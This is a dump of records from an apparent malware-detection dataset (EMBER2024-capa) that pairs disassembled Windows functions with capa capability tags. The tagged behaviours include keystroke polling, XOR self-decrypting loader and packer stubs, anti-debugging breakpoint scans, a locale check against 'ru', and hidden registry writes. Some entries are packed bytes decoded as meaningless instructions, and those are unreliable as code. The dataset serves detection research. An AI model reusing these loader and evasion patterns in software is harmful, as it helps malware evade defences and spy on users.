joyce8/EMBER2024-capa huggingface dataset:
Function at 0x401000
Capabilities:
Check if file exists
Create directory
Get file attributes

Disassembly:
push esi
mov esi, dword [esp + 0xc]
test esi, esi
je 0x401090
push ebp
mov ebp, dword [esp + 0x14]
push edi
mov edi, dword [esp + 0x10]
push ebx
cmp byte [esi], 0
je 0x40108d
push 0x5c
push esi
call dword [sym.imp.MSVCRT.dll_strchr]
mov esi, eax
test esi, esi
pop ecx
pop ecx
je 0x40108d
push edi
mov byte [esi], 0
call dword [sym.imp.kernel32.dll_GetFileAttributesA]
mov ebx, eax
cmp ebx, 0xffffffff
jne 0x401066
push 0
push edi
call dword [sym.imp.kernel32.dll_CreateDirectoryA]
test eax, eax
jne 0x40105f
test ebp, ebp
je 0x40105f
push edi
push str.CreateDirectory___s_
push 5
call ebp
add esp, 0xc
jmp 0x401066
push edi
push 1
call ebp
pop ecx
pop ecx
test bl, 0x10
jne 0x401087
push 0xb7
call dword [sym.imp.kernel32.dll_SetLastError]
test ebp, ebp
je 0x401087
push edi
push str.CreateDirectory___s_
push 5
call ebp
add esp, 0xc
mov byte [esi], 0x5c
inc esi
jne 0x401018
pop ebx
pop edi
pop ebp
xor eax, eax
inc eax
pop esi
ret

Function at 0x40287f
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x44
pushal
call 0x40288e
pop dword [ebp - 0x34]
mov eax, 0x40288e
sub dword [ebp - 0x34], eax
mov dword [ebp - 0x44], 0xef930904
sub dword [ebp - 0x44], 0xa140c3b9
mov dword [ebp - 0x40], 0x11c3f9d9
sub dword [ebp - 0x40], 0xdf90ad94
mov dword [ebp - 0x3c], 0x1b9e27ff
add dword [ebp - 0x3c], 0x30ae1c2f
mov dword [ebp - 0x38], 0x21779c07
sub dword [ebp - 0x38], 0x21779c07
lea eax, [ebp - 0x44]
push eax
mov eax, 0x8d8cc2c1
add eax, 0x72b3ada3
add eax, dword [ebp - 0x34]
call dword [eax]
mov dword [ebp - 0x44], 0x220ea423
sub dword [ebp - 0x44], 0xad9c3acd
mov dword [ebp - 0x40], 0xb4b1c1b2
sub dword [ebp - 0x40], 0x7345603d
mov dword [ebp - 0x3c], 0xf1675c40
sub dword [ebp - 0x3c], 0x8df7efd4
mov dword [ebp - 0x38], 0xfbee5674
sub dword [ebp - 0x38], 0xfbee5674
lea ebx, [ebp - 0x44]
push ebx
push eax
mov eax, sym.imp.kernel32.dll_GetProcAddress
add eax, dword [ebp - 0x34]
call dword [eax]
push 0x40
push 0x1000
push 0x3687a
push 0
call eax
mov ecx, 0x47bc
xor edi, edi
add edi, eax
mov esi, 0xa6fea971
add esi, 0x5942568f
add esi, dword [ebp - 0x34]
mov ebx, 0xc25137ab
add ebx, 0x52dbab02
xor dword [ebp - 0x30], 0xa7df50a
mov edx, dword [esi]
sub dword [ebp - 0x18], esi
xor edx, ebx
xor dword [ebp - 0x18], 0x2dc846c4
mov dword [edi], edx
add dword [ebp - 0x28], 0x1c418816
add edi, 0x31a92f79
sub edi, 0x31a92f75
add esi, 0x81390e6a
add esi, 0x7ec6f19a
loop 0x4029a2
add eax, 0x76fc19a3
add eax, 0x8904f820
xor ebx, ebx
add ebx, eax
add eax, 5
mov ecx, 0x400000
add ecx, dword [ebp - 0x34]
call ebx
leave
ret
Function at 0x4015ad
Capabilities:
Terminate process

Disassembly:
cmp ecx, dword [0x45907c]
jne 0x4015b7
repz ret
jmp fcn.00401f40

Function at 0x406b6c
Capabilities:
Link many functions at runtime

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
sub esp, 0x24
mov eax, dword [0x45907c]
xor eax, ebp
mov dword [ebp - 4], eax
mov eax, dword [ebp + 8]
push ebx
mov dword [ebp - 0x20], eax
mov eax, dword [ebp + 0xc]
push esi
push edi
mov dword [ebp - 0x1c], eax
call fcn.004044eb
and dword [ebp - 0x14], 0
cmp dword [0x45bd58], 0
mov dword [ebp - 0x18], eax
jne 0x406c1f
push str.USER32.DLL
call dword [sym.imp.KERNEL32.dll_LoadLibraryW]
mov ebx, eax
test ebx, ebx
je 0x406cc7
mov edi, dword [sym.imp.KERNEL32.dll_GetProcAddress]
push str.MessageBoxW
push ebx
call edi
test eax, eax
je 0x406cc7
mov esi, dword [sym.imp.KERNEL32.dll_EncodePointer]
push eax
call esi
push str.GetActiveWindow
push ebx
mov dword [0x45bd58], eax
call edi
push eax
call esi
push str.GetLastActivePopup
push ebx
mov dword [0x45bd5c], eax
call edi
push eax
call esi
push str.GetUserObjectInformationW
push ebx
mov dword [0x45bd60], eax
call edi
push eax
call esi
mov dword [0x45bd68], eax
test eax, eax
je 0x406c1f
push str.GetProcessWindowStation
push ebx
call edi
push eax
call esi
mov dword [0x45bd64], eax
mov eax, dword [0x45bd64]
mov ecx, dword [ebp - 0x18]
mov esi, dword [sym.imp.KERNEL32.dll_DecodePointer]
cmp eax, ecx
je 0x406c78
cmp dword [0x45bd68], ecx
je 0x406c78
push eax
call esi
push dword [0x45bd68]
mov edi, eax
call esi
mov ebx, eax
test edi, edi
je 0x406c78
test ebx, ebx
je 0x406c78
call edi
test eax, eax
je 0x406c6f
lea ecx, [ebp - 0x24]
push ecx
push 0xc
lea ecx, [ebp - 0x10]
push ecx
push 1
push eax
call ebx
test eax, eax
je 0x406c6f
test byte [ebp - 8], 1
jne 0x406c78
or dword [ebp + 0x10], 0x200000
jmp 0x406cab
mov eax, dword [0x45bd5c]
cmp eax, dword [ebp - 0x18]
je 0x406cab
push eax
call esi
test eax, eax
je 0x406cab
call eax
mov dword [ebp - 0x14], eax
test eax, eax
je 0x406cab
mov eax, dword [0x45bd60]
cmp eax, dword [ebp - 0x18]
je 0x406cab
push eax
call esi
test eax, eax
je 0x406cab
push dword [ebp - 0x14]
call eax
mov dword [ebp - 0x14], eax
push dword [0x45bd58]
call esi
test eax, eax
je 0x406cc7
push dword [ebp + 0x10]
push dword [ebp - 0x1c]
push dword [ebp - 0x20]
push dword [ebp - 0x14]
call eax
jmp 0x406cc9
xor eax, eax
mov ecx, dword [ebp - 4]
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.004015ad
leave
ret
Function at 0x433005
Capabilities:
Encode data using xor
Packed with generic packer

Disassembly:
pushal
call 0x43300c
nop
nop
nop
pop eax
nop
nop
nop
add eax, 0x40a063
sub eax, 0x40a009
nop
nop
nop
nop
mov ebx, dword [eax]
nop
mov ecx, dword [eax + 4]
nop
nop
nop
nop
mov edx, dword [eax + 8]
nop
nop
nop
nop
xor dword [ebx], edx
nop
nop
add ebx, 4
nop
nop
nop
nop
cmp ebx, ecx
nop
nop
nop
nop
nop
jl 0x433030
nop
nop
add eax, 0xc
nop
nop
nop
cmp dword [eax], 0
nop
nop
nop
nop
jne 0x43301e
nop
nop
nop
nop
popal
nop
nop
nop
nop
jmp 0x431219

Function at 0x52dfd2
Capabilities:
Encode data using xor

Disassembly:
xchg ecx, eax
adc edx, dword [ebp + 0x67]
xor byte [edx + eax*2], 0x14
mov ch, 0x39
push eax
push ebx
invalid

Function at 0x636382
Capabilities:
Encode data using xor

Disassembly:
shl edi, 1
xor byte [ebx - 0x38], ch
insd dword es:[edi], dx
invalid
mov ch, 0x7d
aad 0xc4
jne 0x6363ce
retf
xchg esi, eax
sub eax, dword [esi]
call 0xc54380eb
cmp dword [eax - 0x1a4980c1], eax
stosb byte es:[edi], al
jne 0x63636a
hlt

Function at 0x63f632
Capabilities:
Encode data using xor

Disassembly:
retf
xor eax, 0xdbebcfdb
repe scasd eax, dword es:[edi]
mov esi, dword [ecx + 0x151beff3]
scasb al, byte es:[edi]
and dword [edi + 0x6b8507b5], eax
mov dword [ebx - 0x14593847], esi
lds ebp, [ebx]
aad 0x3b
dec ecx
jge 0x63f62b
push es
add ebp, dword [edx]
add ebp, edi
and eax, 0x565731c2
inc ebx
push ebp
mul dword [ebp + 0x4f5bb507]
imul ecx, dword [esi + 0x77], 0xfffffff5
wait
mov ch, 0x4a
or byte [ebx], ch
invalid
Function at 0x42ff78
Capabilities:
Enumerate gui resources

Disassembly:
mov byte [eax + 0xc], 0
mov byte [eax + 0xd], 0
xor edx, edx
mov dword [eax + 4], edx
push eax
push 0x42fec4
call sub.user32.dll_EnumWindows
ret

Function at 0x430098
Capabilities:
Check for time delay via gettickcount

Disassembly:
push ebp
mov ebp, esp
push 0
push ebx
push esi
mov esi, eax
xor eax, eax
push ebp
push 0x430115
push dword fs:[eax]
mov dword fs:[eax], esp
mov eax, esi
call fcn.0042faf8
call sub.kernel32.dll_GetTickCount
mov ebx, eax
push 0
call sub.kernel32.dll_Sleep
call sub.kernel32.dll_GetTickCount
sub eax, ebx
cmp eax, 0x3e8
jbe 0x4300bd
lea ecx, [ebp - 4]
xor edx, edx
mov eax, esi
call fcn.0042f6f8
cmp dword [ebp - 4], 0
je 0x4300ff
push 0
push 9
mov eax, dword [ebp - 4]
call fcn.004048a4
push eax
mov eax, dword [esi + 0x1c]
mov edx, dword [eax]
call dword [edx + 0xc]
push eax
call sub.user32.dll_WinHelpA
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x43011c
lea eax, [ebp - 4]
call fcn.004043e4
ret

Function at 0x433254
Capabilities:
Log keystrokes via polling

Disassembly:
push ebp
mov ebp, esp
add esp, 0xffffffd8
push ebx
push esi
push edi
mov esi, eax
lea edi, [ebp - 9]
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
mov dword [ebp - 0x10], edx
xor eax, eax
mov dword [ebp - 0x18], eax
cmp dword [0x45bb80], 0
je 0x4333a3
push 0x11
call sub.user32.dll_GetKeyState
test ax, 0x8000
setne al
mov edx, dword [0x45a11c]
mov edx, dword [edx]
xor al, byte [edx + 0xb4]
je 0x4333a3
mov eax, dword [0x45bb84]
mov edx, dword [eax]
call dword [edx + 8]
mov eax, dword [0x45bb80]
mov ebx, dword [eax + 8]
dec ebx
test ebx, ebx
jl 0x433372
inc ebx
xor edi, edi
mov edx, edi
mov eax, dword [0x45bb80]
call fcn.00414320
mov dword [ebp - 0x14], eax
mov eax, dword [ebp - 0x14]
cmp eax, dword [ebp - 0x10]
je 0x43336a
mov eax, dword [ebp - 0x14]
cmp byte [eax + 0x1a6], 0
je 0x43336a
mov eax, dword [ebp - 0x14]
mov edx, dword [eax]
call dword [edx + 0x50]
test al, al
je 0x43336a
mov eax, dword [ebp - 0x14]
call fcn.0043bedc
push eax
call sub.user32.dll_IsWindowVisible
test eax, eax
je 0x43336a
push ebp
call fcn.00433210
pop ecx
test al, al
jne 0x43336a
mov eax, dword [ebp - 0x10]
mov eax, dword [eax + 0xa0]
cmp eax, dword [ebp - 0x14]
jne 0x433326
mov eax, dword [ebp - 0x14]
call fcn.0043aa0c
dec eax
jle 0x43336a
mov byte [ebp - 1], 1
lea eax, [ebp - 9]
push eax
lea eax, [ebp - 1]
push eax
lea ecx, [ebp - 0x28]
mov edx, dword [ebp - 0x10]
mov eax, dword [ebp - 0x14]
mov si, 0xffbd
call fcn.00403860
cmp byte [ebp - 1], 0
je 0x43336a
push dword [ebp - 5]
push dword [ebp - 9]
lea eax, [ebp - 0x28]
push eax
call sub.user32.dll_PtInRect
test eax, eax
je 0x43336a
mov edx, dword [ebp - 0x14]
mov eax, dword [0x45bb84]
call fcn.004329dc
inc edi
dec ebx
jne 0x4332b9
mov eax, dword [0x45bb84]
cmp dword [eax + 8], 0
jle 0x43338a
mov eax, dword [0x45bb84]
call fcn.00432a6c
mov dword [ebp - 0x18], eax
cmp dword [ebp - 0x18], 0
je 0x4333a3
push ebp
mov eax, dword [ebp - 0x18]
call fcn.00433078
pop ecx
test al, al
jne 0x4333a3
xor eax, eax
mov dword [ebp - 0x18], eax
mov eax, dword [ebp - 0x18]
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x45429c
Capabilities:
Enumerate gui resources

Disassembly:
push ebx
push esi
add esp, 0xfffffff8
mov ebx, eax
mov eax, dword [0x45bbdc]
cmp dword [eax + 0x30], 0
je 0x454346
cmp dword [ebx + 0x94], 0
jne 0x454340
mov eax, dword [ebx + 0x30]
mov dword [esp], eax
mov byte [esp + 4], dl
mov eax, esp
push eax
push 0x45422c
call sub.user32.dll_EnumWindows
mov eax, dword [ebx + 0x90]
cmp dword [eax + 8], 0
je 0x454340
push 3
mov eax, dword [esp + 4]
push eax
call sub.user32.dll_GetWindow
mov esi, eax
mov dword [esp], esi
push 0xffffffffffffffec
push esi
call sub.user32.dll_GetWindowLongA
test al, 8
je 0x454306
mov dword [esp], 0xfffffffe
mov eax, dword [ebx + 0x90]
mov esi, dword [eax + 8]
dec esi
cmp esi, 0
jl 0x454340
push 0x213
push 0
push 0
push 0
push 0
mov eax, dword [esp + 0x14]
push eax
mov edx, esi
mov eax, dword [ebx + 0x90]
call fcn.00414320
push eax
call sub.user32.dll_SetWindowPos
dec esi
cmp esi, 0xffffffff
jne 0x454315
inc dword [ebx + 0x94]
pop ecx
pop edx
pop esi
pop ebx
ret

Function at 0x454ea4
Capabilities:
Get graphical window text

Disassembly:
push ebx
push esi
add esp, 0xffffff00
mov esi, edx
mov ebx, eax
cmp byte [ebx + 0xa4], 0
je 0x454ed9
push pe_nt_image_headers32
lea eax, [esp + 4]
push eax
mov eax, dword [ebx + 0x30]
push eax
call sub.user32.dll_GetWindowTextA
mov ecx, eax
mov edx, esp
mov eax, esi
call fcn.004044d4
jmp 0x454ee6
mov eax, esi
mov edx, dword [ebx + 0x8c]
call fcn.00404438
add esp, 0x100
pop esi
pop ebx
ret

Function at 0x4560b0
Capabilities:
Hide graphical window

Disassembly:
push ebx
push esi
mov ebx, eax
mov esi, dword [ebx + 0x84]
test esi, esi
je 0x4560f1
mov eax, esi
call fcn.0043c1b4
test al, al
je 0x4560f1
mov eax, dword [ebx + 0x84]
call fcn.0043bedc
push eax
call sub.user32.dll_IsWindowVisible
test eax, eax
je 0x4560f1
push 0
mov eax, dword [ebx + 0x84]
call fcn.0043bedc
push eax
call sub.user32.dll_ShowWindow
pop esi
pop ebx
ret
Function at 0x433000
Capabilities:
Encode data using xor
Packed with generic packer

Disassembly:
pushal
nop
nop
nop
nop
nop
call 0x43300c
nop
pop eax
nop
nop
nop
nop
add eax, 0x40a063
nop
nop
sub eax, 0x40a009
mov ebx, dword [eax]
nop
nop
nop
nop
nop
mov ecx, dword [eax + 4]
nop
nop
nop
nop
nop
mov edx, dword [eax + 8]
nop
nop
nop
xor dword [ebx], edx
nop
nop
nop
nop
add ebx, 4
nop
nop
nop
nop
cmp ebx, ecx
nop
nop
nop
jl 0x433030
nop
nop
nop
nop
add eax, 0xc
nop
nop
cmp dword [eax], 0
nop
nop
nop
nop
jne 0x43301e
nop
nop
nop
nop
popal
nop
nop
jmp 0x431219
Function at 0x40138e
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 8
pushal
std
mov esi, dword [ebp + 8]
mov ecx, dword [ebp + 0xc]
lea edi, [esi + ecx + 7]
push esi
push ecx
lea esi, [esi + ecx]
dec esi
rep movsb byte es:[edi], byte [esi]
pop ecx
pop esi
lea eax, [ecx + 8]
mov dword [ebp - 4], eax
mov edi, esi
xor eax, eax
test cl, 3
je 0x4013ba
inc eax
shr ecx, 2
add ecx, eax
shl ecx, 2
call fcn.004014d8
cld
stosd dword es:[edi], eax
mov edx, eax
lea eax, [ecx + 8]
mov dword [ebp - 8], eax
mov eax, dword [ebp - 4]
stosd dword es:[edi], eax
shr ecx, 2
mov esi, edi
lodsd eax, dword [esi]
xor eax, edx
stosd dword es:[edi], eax
mov edx, eax
loop 0x4013da
popal
mov eax, dword [ebp - 8]
leave
ret 8

Function at 0x4014a0
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 4
pushal
cld
mov esi, dword [ebp + 8]
mov edi, esi
lodsd eax, dword [esi]
mov edx, eax
lodsd eax, dword [esi]
mov ecx, eax
xor eax, eax
test cl, 3
je 0x4014bb
inc eax
sub ecx, 8
mov dword [ebp - 4], ecx
shr ecx, 2
add ecx, eax
lodsd eax, dword [esi]
mov ebx, eax
xor eax, edx
stosd dword es:[edi], eax
mov edx, ebx
loop 0x4014c6
popal
mov eax, dword [ebp - 4]
leave
ret 4

Function at 0x401c8b
Capabilities:
Write file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 8
pushal
mov dword [ebp - 8], 0
cmp dword [ebp + 0x14], 1
jne 0x401ca6
mov dword [ebp + 0x14], 3
push 0
push pe_nt_image_headers32
push 2
push 0
push dword [ebp + 0x14]
push 0x40000000
push dword [ebp + 8]
call dword [sym.imp.kernel32.dll_CreateFileA]
mov ebx, eax
inc eax
je 0x401ce4
lea eax, [ebp - 4]
push 0
push eax
push dword [ebp + 0x10]
push dword [ebp + 0xc]
push ebx
call dword [sym.imp.kernel32.dll_WriteFile]
mov dword [ebp - 8], eax
push ebx
call dword [sym.imp.kernel32.dll_CloseHandle]
popal
mov eax, dword [ebp - 8]
leave
ret 0x10
Function at 0x401d4e
Capabilities:
Get file attributes
Get file size
Read file on windows
Set file attributes

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x10
pushal
mov dword [ebp - 0x10], 0
mov dword [ebp - 8], 0x64
push dword [ebp + 8]
call dword [sym.imp.kernel32.dll_GetFileAttributesA]
mov dword [ebp - 4], eax
push pe_nt_image_headers32
push dword [ebp + 8]
call dword [sym.imp.kernel32.dll_SetFileAttributesA]
push 0
push pe_nt_image_headers32
push 3
push 0
push 0
push 0x80000000
push dword [ebp + 8]
call dword [sym.imp.kernel32.dll_CreateFileA]
mov ebx, eax
inc eax
je 0x401e0d
push 0
push ebx
call dword [sym.imp.kernel32.dll_GetFileSize]
mov ecx, dword [ebp + 0x14]
jecxz 0x401dad
mov dword [ecx], eax
mov ecx, dword [ebp + 0x10]
jecxz 0x401db4
mov eax, ecx
mov dword [ebp + 0x10], eax
mov eax, dword [ebp + 0xc]
test eax, eax
jne 0x401dd3
cmp dword [ebp + 0x10], 0
je 0x401e31
push dword [ebp + 0x10]
push 0x40
call dword [sym.imp.kernel32.dll_LocalAlloc]
test eax, eax
je 0x401e31
mov esi, eax
mov edi, esi
lea eax, [ebp - 0xc]
push 0
push eax
push dword [ebp + 0x10]
push esi
push ebx
call dword [sym.imp.kernel32.dll_ReadFile]
mov eax, dword [ebp - 0xc]
sub dword [ebp + 0x10], eax
je 0x401e08
test eax, eax
je 0x401e08
add esi, eax
dec dword [ebp - 8]
jne 0x401dd7
cmp dword [ebp + 0xc], 0
je 0x401e31
push edi
call dword [sym.imp.kernel32.dll_LocalFree]
mov dword [ebp - 0x10], edi
jmp 0x401e31
push 0
push pe_nt_image_headers32
push 3
push 0
push 1
push 0x80000000
push dword [ebp + 8]
call dword [sym.imp.kernel32.dll_CreateFileA]
mov ebx, eax
inc eax
jne 0x401d9d
push ebx
call dword [sym.imp.kernel32.dll_CloseHandle]
push dword [ebp - 4]
push dword [ebp + 8]
call dword [sym.imp.kernel32.dll_SetFileAttributesA]
popal
mov eax, dword [ebp - 0x10]
leave
ret 0x10

Function at 0x401f04
Capabilities:
Query or enumerate registry key
Query or enumerate registry value

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x110
pushal
call 0x401f3d
push ebx
dec edi
inc esi
push esp
push edi
inc ecx
push edx
inc ebp
pop esp
dec ebp
imul esp, dword [ebx + 0x72], 0x666f736f
je 0x401f82
push edi
imul ebp, dword [esi + 0x64], 0x5c73776f
inc ebx
jne 0x401fa3
jb 0x401f98
outsb dx, byte [esi]
je 0x401f8c
jb 0x401fac
imul ebp, dword [edi + 0x6e], 0x85c75e00
invalid
mov dword [ebp - 4], 0x186a0
add dword [eax], eax
push 0
push 0
push 0
push 0
lea edx, [ebp - 4]
push edx
lea edx, [ebp - 0x104]
push edx
push dword [ebp - 0x108]
push dword [ebp - 0x10c]
mov ch, 0xf8
invalid
call dword [sym.imp.advapi32.dll_RegEnumKeyExA]
cmp eax, 0x103
add byte [eax], al
je 0x402014
lea edx, [ebp - 0x104]
push edx
call fcn.00401e99
cmp eax, 1
je 0x401fc9
inc dword [ebp - 0x108]
jmp 0x401f7d
cmp dword [ebp + 8], 0
je 0x40200a
lea edx, [ebp - 0x104]
push edx
push esi
call fcn.0040132e
push dword [ebp + 8]
push eax
call fcn.00401150
cmp dword [ebp + 0xc], 0
je 0x40200a
push dword [ebp + 0x10]
push dword [ebp + 0xc]
push 0
push 8
push 0
push 0
push dword [ebp - 0x10c]
call dword [sym.imp.advapi32.dll_RegGetValueA]
cmp eax, 0
jne 0x402014
mov dword [ebp - 0x110], 1
push dword [ebp - 0x10c]
call dword [sym.imp.advapi32.dll_RegCloseKey]
popal
mov eax, dword [ebp - 0x110]
leave
ret 0xc
Function at 0x401f3d
Capabilities:
Query or enumerate registry key
Query or enumerate registry value

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x110
pushal
call 0x401f3d
push ebx
dec edi
inc esi
push esp
push edi
inc ecx
push edx
inc ebp
pop esp
dec ebp
imul esp, dword [ebx + 0x72], 0x666f736f
je 0x401f82
push edi
imul ebp, dword [esi + 0x64], 0x5c73776f
inc ebx
jne 0x401fa3
jb 0x401f98
outsb dx, byte [esi]
je 0x401f8c
jb 0x401fac
imul ebp, dword [edi + 0x6e], 0x85c75e00
invalid
mov dword [ebp - 4], 0x186a0
add dword [eax], eax
push 0
push 0
push 0
push 0
lea edx, [ebp - 4]
push edx
lea edx, [ebp - 0x104]
push edx
push dword [ebp - 0x108]
push dword [ebp - 0x10c]
mov ch, 0xf8
invalid
call dword [sym.imp.advapi32.dll_RegEnumKeyExA]
cmp eax, 0x103
add byte [eax], al
je 0x402014
lea edx, [ebp - 0x104]
push edx
call fcn.00401e99
cmp eax, 1
je 0x401fc9
inc dword [ebp - 0x108]
jmp 0x401f7d
cmp dword [ebp + 8], 0
je 0x40200a
lea edx, [ebp - 0x104]
push edx
push esi
call fcn.0040132e
push dword [ebp + 8]
push eax
call fcn.00401150
cmp dword [ebp + 0xc], 0
je 0x40200a
push dword [ebp + 0x10]
push dword [ebp + 0xc]
push 0
push 8
push 0
push 0
push dword [ebp - 0x10c]
call dword [sym.imp.advapi32.dll_RegGetValueA]
cmp eax, 0
jne 0x402014
mov dword [ebp - 0x110], 1
push dword [ebp - 0x10c]
call dword [sym.imp.advapi32.dll_RegCloseKey]
popal
mov eax, dword [ebp - 0x110]
leave
ret 0xc

Function at 0x4022a8
Capabilities:
Set registry value

Disassembly:
push ebp
mov ebp, esp
sub esp, 8
pushal
mov edi, 0x413108
push 0
push 0xa
push edi
call fcn.0040143b
push edi
call fcn.004012be
add edi, eax
lea edx, [eax + 1]
inc edi
push edi
mov esi, 0x408e05
mov ecx, 0x14
rep movsb byte es:[edi], byte [esi]
mov esi, 0x408da1
mov ecx, 0x64
rep movsb byte es:[edi], byte [esi]
mov esi, 0x408e19
mov ecx, 0x3f88
rep movsb byte es:[edi], byte [esi]
pop edi
lea eax, [edx + 0x4000]
push eax
push 0x413108
call fcn.0040138e
mov edi, eax
push section..bss
call fcn.00402258
push 0
push section..bss
push 0x40cf22
call fcn.004020a6
push 1
push 0
push 0
push 0
call fcn.00402376
push section..bss
push 0x40ce49
call fcn.0040132e
push 0
lea edx, [ebp - 4]
push edx
push 0
push 0x20006
push 0
push 0
push 0
push eax
push 0x80000002
call dword [sym.imp.advapi32.dll_RegCreateKeyExA]
cmp eax, 0
jne 0x402373
push edi
push 0x413108
push 3
push 0
push 0
push dword [ebp - 4]
call dword [sym.imp.advapi32.dll_RegSetValueExA]
popal
leave
ret
Function at 0x40262b
Capabilities:
Get geographical location
Identify system language via api

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x88c
pushal
mov dword [ebp - 8], 0
mov dword [ebp - 4], 0x7572
lea edx, [ebp - 0xb4]
push edx
call dword [sym.imp.kernel32.dll_GetTimeZoneInformation]
mov edx, dword [ebp - 0xb4]
cmp eax, 1
jne 0x402660
mov edx, dword [ebp - 0x60]
jmp 0x402668
cmp eax, 2
jne 0x402668
mov edx, dword [ebp - 0xc]
test edx, edx
jns 0x40276b
neg edx
mov eax, edx
xor edx, edx
mov ebx, 0x3c
div ebx
cmp eax, 3
jb 0x40276b
cmp eax, 0xc
ja 0x40276b
mov dword [ebp - 0x888], 0x1000
lea edx, [ebp - 0x888]
push edx
lea edx, [ebp - 0x884]
push edx
call dword [sym.imp.kernel32.dll_GetUserDefaultLocaleName]
test eax, eax
je 0x4026ff
push 0
push 0
push 0x3e8
lea edx, [ebp - 0x49c]
push edx
push 0xffffffffffffffff
lea edx, [ebp - 0x884]
push edx
push 0
push 0
call dword [sym.imp.kernel32.dll_WideCharToMultiByte]
test eax, eax
je 0x4026ff
lea edx, [ebp - 0x49c]
push edx
lea edx, [ebp - 0x884]
push edx
call fcn.0040129b
lea edx, [ebp - 4]
push edx
lea edx, [ebp - 0x884]
push edx
call fcn.00401091
test eax, eax
jne 0x402764
mov dword [ebp - 0x888], 0x3e8
push 0
push 0x3e8
lea edx, [ebp - 0x884]
push edx
call fcn.00401271
call dword [sym.imp.kernel32.dll_GetUserDefaultUILanguage]
lea edx, [ebp - 0x888]
push edx
lea edx, [ebp - 0x884]
push edx
push 0x5c
push eax
call dword [sym.imp.kernel32.dll_GetLocaleInfoA]
test eax, eax
je 0x40276b
lea edx, [ebp - 0x884]
push edx
lea edx, [ebp - 0x49c]
push edx
call fcn.0040129b
lea edx, [ebp - 4]
push edx
lea edx, [ebp - 0x49c]
push edx
call fcn.00401091
test eax, eax
je 0x40276b
mov dword [ebp - 8], 1
popal
mov eax, dword [ebp - 8]
leave
ret

Function at 0x402771
Capabilities:
Get common file path
Get system information on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x28
mov word [ebp - 0x24], 1
pushal
mov dword [ebp - 0x28], 0
push 0x40500f
call fcn.004014a0
mov edi, 0x40d150
cld
mov eax, 0x402112
stosd dword es:[edi], eax
mov eax, 0x4021e9
stosd dword es:[edi], eax
xor eax, eax
stosd dword es:[edi], eax
stosd dword es:[edi], eax
stosd dword es:[edi], eax
call fcn.0040262b
cmp eax, 1
je 0x402828
push 0x3e8
push 0x42bbc8
call dword [sym.imp.kernel32.dll_GetWindowsDirectoryA]
mov al, byte [0x42bbc8]
mov byte [0x42bccc], al
lea edx, [ebp - 0x24]
push edx
call dword [sym.imp.kernel32.dll_GetNativeSystemInfo]
push dword [ebp - 0x24]
pop dword [0x42b938]
push 0x42b93c
push 0x40cfac
call fcn.00401cec
mov dword [0x42b954], eax
test eax, eax
jne 0x40280d
push 0x42b93c
push 0x40cff0
call fcn.00401cec
test eax, eax
je 0x402828
mov dword [0x42b954], eax
push 0x42b948
push 0x40d031
call fcn.00401cec
mov dword [0x42b958], eax
test eax, eax
je 0x402828
mov dword [ebp - 0x28], eax
popal
mov eax, dword [ebp - 0x28]
leave
ret
Function at 0x403458
Capabilities:
Check for software breakpoints

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x48
pushal
mov dword [ebp - 7], 0
mov dword [ebp - 0xf], 0
mov dword [ebp - 0xb], 0
xor ebx, ebx
push 0
push dword [ebp + 0xc]
push dword [ebp + 8]
call fcn.004045a7
mov esi, eax
mov edi, dword [ebp + 0xc]
push 0
push 0x39
lea edx, [ebp - 0x48]
push edx
call fcn.00401271
mov ecx, esi
lea edx, [ebp - 0x48]
call fcn.0040150d
test eax, eax
jne 0x4034c8
mov edx, dword [ebp + 0xc]
add edx, ebx
push edx
push dword [ebp + 0x20]
push dword [ebp + 0x1c]
push dword [ebp + 0x24]
push dword [ebp + 8]
call fcn.004044e3
mov ecx, dword [ebp + 0xc]
add ecx, dword [ebp + 0x10]
cmp ecx, eax
jbe 0x403512
sub eax, edx
jmp 0x403507
cmp byte [ebp - 0x30], 0xcc
jne 0x4034d3
inc dword [ebp - 0xf]
jmp 0x403502
mov ecx, dword [ebp - 0xf]
jecxz 0x403502
cmp ecx, dword [ebp + 0x14]
jb 0x4034fb
mov eax, edi
sub eax, ecx
push ecx
push eax
push dword [ebp + 0x18]
call fcn.004033e5
cmp eax, 1
jne 0x403512
add dword [ebp - 0xb], ecx
mov eax, dword [ebp - 0xb]
cmp eax, dword [ebp + 0x28]
jae 0x403512
mov dword [ebp - 0xf], 0
xor eax, eax
mov al, byte [ebp - 0x48]
add esi, eax
add edi, eax
add ebx, eax
cmp ebx, dword [ebp + 0x10]
jb 0x403495
popal
mov eax, dword [ebp - 0xb]
leave
ret 0x24